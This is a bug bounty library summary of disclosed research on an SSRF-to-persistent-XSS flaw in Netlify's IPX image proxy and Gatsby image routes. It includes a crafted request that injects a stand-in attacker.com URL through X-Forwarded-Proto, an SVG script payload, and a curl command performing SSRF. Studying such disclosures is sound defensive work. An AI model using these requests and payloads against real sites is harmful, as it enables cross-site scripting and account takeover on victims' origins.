# Exploiting Static Site Generators: When Static Is Not Actually Static

Netlify IPX image proxy trusted x-forwarded-proto header, letting attackers bypass host whitelist and proxy malicious SVG, yielding persistent XSS across Next.js sites on Netlify.

- Payout: Research
- Severity: high
- Program: Netlify
- Credited: Assetnote
- Disclosed: 2023-12-27
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/exploiting-static-site-generators-when-static-is-not-actually-static
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-exploiting-static-site-generators-when-static-is-not-actually-static
- Tags: domain:web impact:ato impact:internal-access kind:research platform:research sev:high tech:nextjs tech:nodejs technique:chained technique:source-review vuln:ssrf vuln:xss

**Target:** Netlify IPX image optimizer (/_ipx/) and GatsbyJS image routes
**Root cause:** The IPX handler builds the fetch URL from the user-controlled x-forwarded-proto header when the path does not start with 'http', and the whitelist check only runs in the else branch, so a crafted protocol value skips validation entirely.
**Steps:**
1. Send `GET /_ipx/example.svg` with headers `Host: example.com` and `X-Forwarded-Proto: http://attacker.com/malicious.svg?`
2. The `?` nullifies the appended host/path, so the proxy fetches attacker.com/malicious.svg
3. Serve an SVG containing `<foreignObject><script>alert('assetnote');</script></foreignObject>` matching the svgReg regex
4. IPX proxies and caches the SVG to disk, serving it from the victim origin as persistent XSS
5. For Gatsby: `curl 'http://localhost:8000/_gatsby/file/<hash>/test.png?u=https%3A%2F%2Fssrfcanary.com%2F&a=w%3D42%26h%3D75%26fm%3Draw%26q%3D70'` returns full-read SSRF
**How found:** Sam Curry noticed image-pull/optimize behavior on gemini.com (Netlify+Next.js), prompting review of @netlify/ipx source; auditors spotted that the constructed URL used user-controlled x-forwarded-proto and that whitelist logic lived only in the else branch skipped when isLocal is true.
**Exploitation:** Attacker hosts a malicious SVG with embedded script, then tricks a victim into requesting the crafted /_ipx/ URL with the poisoned X-Forwarded-Proto header; the proxy caches and serves the SVG from the trusted Netlify origin, executing script in the site's context.
**Escalation:** Default @netlify/plugin-nextjs auto-registers /_ipx/* on every Next.js site on Netlify, scaling the XSS to hundreds of thousands of sites; Gatsby cloud configs similarly yielded high-impact XSS.
**Insight:** When a proxy builds URLs from headers like x-forwarded-proto or host, check whether the whitelist/validation branch can be skipped by making the path look 'local'; a trailing `?` in the injected protocol truncates the appended host/path.
